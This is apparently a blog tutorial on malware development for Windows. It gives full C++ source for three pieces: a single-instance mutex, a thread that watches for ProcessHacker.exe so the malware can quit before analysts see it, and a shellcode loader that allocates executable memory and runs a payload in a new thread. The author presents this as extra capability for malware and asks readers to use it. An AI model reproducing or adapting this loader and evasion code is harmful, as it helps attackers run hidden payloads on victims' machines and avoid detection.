Home About

Instancing and multi-threaded Malware

Introduction

In this blog I won't be exploring anything fancy, just some basic utilities that may, or may not, be able to provide some sort of use. The techniques described within this post are inspired by topics discussed by Pavel Yosifovich in his Windows System Programming course. Although the course is not aimed at malware development, it provides a lot of context for general Windows development which we can directly borrow from.

Technique 1: Mutex's

I find this one to be quite cool. Again, maybe a bit niche. The goal of this technique is to cause the executable to only run one instance of itself. Similar to Windows Media Player where only one instance will run, we can introduce the same types of limitations to malware.

To achieve this, we need to use Mutex Objects. Essentially, it is a synchronization object which will only be signalled when the thread it is owned by is signalled. It's used primarily to co-ordinate threads. Naturally, to create one we use CreateMutexA:

HANDLE CreateMutexA(
  LPSECURITY_ATTRIBUTES lpMutexAttributes,
  BOOL                  bInitialOwner,
  LPCSTR                lpName
);

To use this, we just need to do something like:

HANDLE hMutex = ::CreateMutex(nullptr, FALSE, L"ThisIsAMutextName");

We don't need to set any of the SECURITY_ATTRIBUTES for lpMutexAttributes so that can remain as nullptr. The bInitialOwner will be set to FALSE so no strict ownership of the object is set, and the final parameter is what we want to call the mutex. With that done, we don't need to wait on it with WaitForSingleObject because it isn't doing anything, it's purely existing. The trick to instancing it lies in this if:

if (::GetLastError() == ERROR_ALREADY_EXISTS) {
    printf("[!] Mutex already exists.\n");
    return -1;
}

If it exists, return. Simple. To give this sample something to do, I will just use the following dummy code to pause:

char dummy[5];
gets_s(dummy);

Running this twice:

The console on the left is waiting for some input, the console on the right is trying to run it again. But, it exits. This does come with a potential indicator if you look at the process in Process Explorer and switch to the handles view:

And that's all there is to it :)

Technique 2: Monitoring System Changes

The goal of this technique is to create two threads:

  1. hMonitor: A Thread to monitor processes
  2. hMalware: A Thread running shellcode

When hMonitor sees something spooky spawn, ProcessHacker.exe for example, hMalware is closed and the malware closes. This may not be crazy useful and a MUST HAVE for all malware, but it might provide useful for someone looking to implement it.

So, what do we need to grab all the system processes? Well, there are several:

  1. CreateToolhelp32Snapshot
  2. WTSEnumerateProcessesA
  3. EnumProcesses

All of these have their pros/cons, but CreateToolhelp32Snapshot allows us to use Process32First and Process32Next which give us access to tagPROCESSENTRY32W:

typedef struct tagPROCESSENTRY32W {
  DWORD     dwSize;
  DWORD     cntUsage;
  DWORD     th32ProcessID;
  ULONG_PTR th32DefaultHeapID;
  DWORD     th32ModuleID;
  DWORD     cntThreads;
  DWORD     th32ParentProcessID;
  LONG      pcPriClassBase;
  DWORD     dwFlags;
  WCHAR     szExeFile[MAX_PATH];
} PROCESSENTRY32W;

As this struct gives us the most data, it's the ideal candidate for process enumeration. With that done, the process to look for is going to be ProcessHacker.exe:

wchar_t spookyProcess[] = L"ProcessHacker.exe";

Throwing this all together and we get something like this:

BOOL SnapshotAllProcesses() {
    wchar_t spookyProcess[] = L"ProcessHacker.exe";
    DWORD dwFlags = TH32CS_SNAPPROCESS;
    DWORD th32ProcessID = 0;
    HANDLE hSnapshot = ::CreateToolhelp32Snapshot(dwFlags, th32ProcessID);

    if (hSnapshot == INVALID_HANDLE_VALUE) {
        printf("[!] Error: %u\n", GetLastError());
        return FALSE;
    }

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(pe);
    if (::Process32First(hSnapshot, &pe)) {
        do {
            if (wcscmp(pe.szExeFile, spookyProcess) == 0) 
            {
                printf("[!] PID: %u, Threads: %u, PPID: %u, %ws\n", pe.th32ProcessID, pe.cntThreads, pe.th32ParentProcessID, pe.szExeFile);
                ::CloseHandle(hSnapshot);
                return FALSE;
            }
            else {
                printf("[+] All good, nothing spooky!\r");
            }
        } while (::Process32Next(hSnapshot, &pe));
    }
    ::CloseHandle(hSnapshot);
    return TRUE;
}

The above code is a standard BOOL function which will return FALSE on INVALID_HANDLE_VALUE or, more importantly, when wcscmp finds a match:

if (wcscmp(pe.szExeFile, spookyProcess) == 0) 
{
    printf("[!] PID: %u, Threads: %u, PPID: %u, %ws\n", pe.th32ProcessID, pe.cntThreads, pe.th32ParentProcessID, pe.szExeFile);
    ::CloseHandle(hSnapshot);
    return FALSE;
}
else {
    printf("[+] All good, nothing spooky!\r");
}

If a process is found that matches our designated process name, we print and return FALSE. Simple.

Now before we move on to using threads, let's assume the following code to execute shellcode:

unsigned char shellcode[] = {0xfc, 0x48, 0x83,[..SNIP..], 0x4e, 0x4a, 0xd6};
LPVOID pAddress = ::VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
::RtlMoveMemory(addressPointer, shellcode, sizeof(shellcode));
HANDLE hMalware = ::CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)pAddress, NULL, CREATE_SUSPENDED, nullptr);

Note how WaitForSingleObject has not been called yet. With the process enumeration and malware execution ready, let's look at main.

The very first thing we need to do is check that the process we are trying to avoid isn't already running:

if (!SnapshotAllProcesses()) {
    printf("[!] Spooky process open, exiting...\n");
    return -1;
}

Assuming we're good to go, we can create our first thread which will be monitoring all processes:

HANDLE hMonitor = ::CreateThread(nullptr, 0, MonitorProcesses, 0, GENERIC_EXECUTE, nullptr);

if (!hMonitor) {
    printf("[!] Failed to create monitoring thread!\n");
    return -1;
}

If we look at the documentation for CreateThread, we need to pay attention to LPTHREAD_START_ROUTINE:

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  __drv_aliasesMem LPVOID lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

The documentations explanation:

A pointer to the application-defined function to be executed by the thread. This pointer represents the starting address of the thread. For more information on the thread function, see ThreadProc.

Looking at ThreadProc it tells us the following:

An application-defined function that serves as the starting address for a thread. Specify this address when calling the CreateThread, CreateRemoteThread, or CreateRemoteThreadEx function.

So, lpStartAddress is a function defined by us. Which is exactly what is happening in the code I previously showed. The application-defined function needs to follow this syntax:

DWORD WINAPI ThreadProc(
  _In_ LPVOID lpParameter
);

Easy enough:

DWORD WINAPI MonitorProcesses(PVOID param) {
    BOOL monitor = TRUE;
    while (monitor) {
        if (!SnapshotAllProcesses()) {
            return 77;
        }
        ::Sleep(1000);
    }
    return 0;
}

For more detail on creating threads, it has been documented here.

The above function will call our process enumeration function every second and if we hit that match and get a FALSE return; then we return 77 (an arbitrary return value, this can be anything except for 259 (STILL_ACTIVE)).

Looking back at the thread creation:

HANDLE hMonitor = ::CreateThread(nullptr, 0, MonitorProcesses, 0, GENERIC_EXECUTE, nullptr);

All we do is pass in the function name as the start address. If we require arguments, then we pass them in within the fourth parameter (lpParameter). Currently, we have:

int main()
{
    if (!SnapshotAllProcesses()) {
        printf("[!] Spooky process open, exiting...\n");
        return -1;
    }

    HANDLE hMonitor = ::CreateThread(nullptr, 0, MonitorProcesses, 0, GENERIC_EXECUTE, nullptr);
    if (hMonitor) {
        WaitForSingleObject(hMonitor, INFINITE);
    }
    return 0;
}

Running this before and after opening Process Hacker:

As soon as ProcessHacker.exe spawns, we exit wit code 0.

The next thing we need to do is create our malicious thread. This is done by removing the WaitForSingleObject and calling our allocation and new thread:

LPVOID pAddress = ::VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (!pAddress) {
    printf("[!] Failed to allocate memory!\n");
    return -1;
}
RtlMoveMemory(pAddress, shellcode, sizeof(shellcode));

HANDLE hMalware = ::CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)pAddress, NULL, CREATE_SUSPENDED, nullptr);

if (!hMalware) {
    printf("[!] Failed to create malware thread!\n");
    return -1;
}

At this point, the shellcode won't run because we aren't checking the state of the object. If the object is in a non-signalled state, the thread will enter a waiting state. Additionally, the CREATE_SUSPENDED has been used just to ensure we have full control over when the thread executes, giving us more time to monitor.

Now we're entering the final stage because we have two threads we need to use WaitForMultipleObjects:

DWORD WaitForMultipleObjects(
  DWORD        nCount,
  const HANDLE *lpHandles,
  BOOL         bWaitAll,
  DWORD        dwMilliseconds
);

The easiest way to fill out the first two parameters is to create an array of handles and the _countof macro. The last two are important. bWaitAll does exactly that, it will wait for all threads to finish which isn't what we want. We want one thread to die immediately as something happens, and the other to gracefully close as normal. So, that has to he FALSE. The final parameter is the same as we would normally do with WaitForSingleObject, it has to be INFINITE because we want these threads to remain open for as long as possible.

We can put all of that into action like this:

HANDLE handles[] = { hMonitor, hMalware };
::ResumeThread(hMalware);
::WaitForMultipleObjects(_countof(handles), handles, FALSE, INFINITE);

Due to the FALSE flag on bWaitAll, as soon as the monitoring thread finds something, it will return. Closing the thread and falling into the scope of the FALSE. So, that will let us move onto the next code block:

::WaitForMultipleObjects(_countof(handles), handles, FALSE, INFINITE);
for (int i = 0; i < _countof(handles); i++) {
    if (handles[i]) {
        ::GetExitCodeThread(handles[i], &code);
        if (code == 77) {
            printf("[!] Thread %u has exited: %u\n", GetThreadId(handles[i]), code);
            ::CloseHandle(handles[i]);
        }
    }
}

This code is quite simple. We loop over the handles and get the exit code of them both. If that exit code equals the 77 we defined in the MonitorProcesses function, then we know something spooky happened. Thus, we close the handles and print a message.

Before Process Hacker:

After Process Hacker:

And that's it, that's a demonstration of using multiple threads to monitor for system changes to give malware a bit more utility. To provide more power to this, some sort of hashing could be done to match a bunch of stuff like this or an AV list like this.

The full code:

#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>

unsigned char shellcode[] = {};

BOOL SnapshotAllProcesses() {
    wchar_t spookyProcess[] = L"ProcessHacker.exe";
    DWORD dwFlags = TH32CS_SNAPPROCESS;
    DWORD th32ProcessID = 0;
    HANDLE hSnapshot = ::CreateToolhelp32Snapshot(dwFlags, th32ProcessID);

    if (hSnapshot == INVALID_HANDLE_VALUE) {
        printf("[!] Error: %u\n", GetLastError());
        return FALSE;
    }

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(pe);
    if (::Process32First(hSnapshot, &pe)) {
        do {
            if (wcscmp(pe.szExeFile, spookyProcess) == 0)
            {
                printf("[!] PID: %u, Threads: %u, PPID: %u, %ws\n", pe.th32ProcessID, pe.cntThreads, pe.th32ParentProcessID, pe.szExeFile);
                ::CloseHandle(hSnapshot);
                return FALSE;
            }
            else {
                printf("[+] All good, nothing spooky!\r");
            }
        } while (::Process32Next(hSnapshot, &pe));
    }
    ::CloseHandle(hSnapshot);
    return TRUE;
}

DWORD WINAPI MonitorProcesses(PVOID param) {
    BOOL monitor = TRUE;
    while (monitor) {
        if (!SnapshotAllProcesses()) {
            return 77;
        }
        ::Sleep(1000);
    }
    return 0;
}

int main()
{
    DWORD code;

    if (!SnapshotAllProcesses()) {
        printf("[!] Spooky process open, exiting...\n");
        return -1;
    }

    HANDLE hMonitor = ::CreateThread(nullptr, 0, MonitorProcesses, 0, GENERIC_EXECUTE, nullptr);

    if (!hMonitor) {
        printf("[!] Failed to create monitoring thread!\n");
        return -1;
    }

    LPVOID pAddress = ::VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (!pAddress) {
        printf("[!] Failed to allocate memory!\n");
        return -1;
    }
    RtlMoveMemory(pAddress, shellcode, sizeof(shellcode));

    HANDLE hMalware = ::CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)pAddress, NULL, CREATE_SUSPENDED, nullptr);

    if (!hMalware) {
        printf("[!] Failed to create malware thread!\n");
        return -1;
    }

    HANDLE handles[] = { hMonitor, hMalware };

    ::ResumeThread(hMalware);

    ::WaitForMultipleObjects(_countof(handles), handles, FALSE, INFINITE);
    for (int i = 0; i < _countof(handles) -1; i++) {
        if (!handles[i]) {
            return 0;
        }
        if (handles[i]) {
            ::GetExitCodeThread(handles[i], &code);
            if (code == 77) {
                printf("[!] Thread %u has exited: %u\n", GetThreadId(handles[i]), code);
            }
        }
        ::CloseHandle(handles[i]);
    }
    return 0;
}

Conclusion

This was a short demonstration of some lesser utilised methods to add some extra oomft to some malware utilities, nothing fancy; just some WinAPI shenanigans. If you end up using any of these, let me know on Twitter!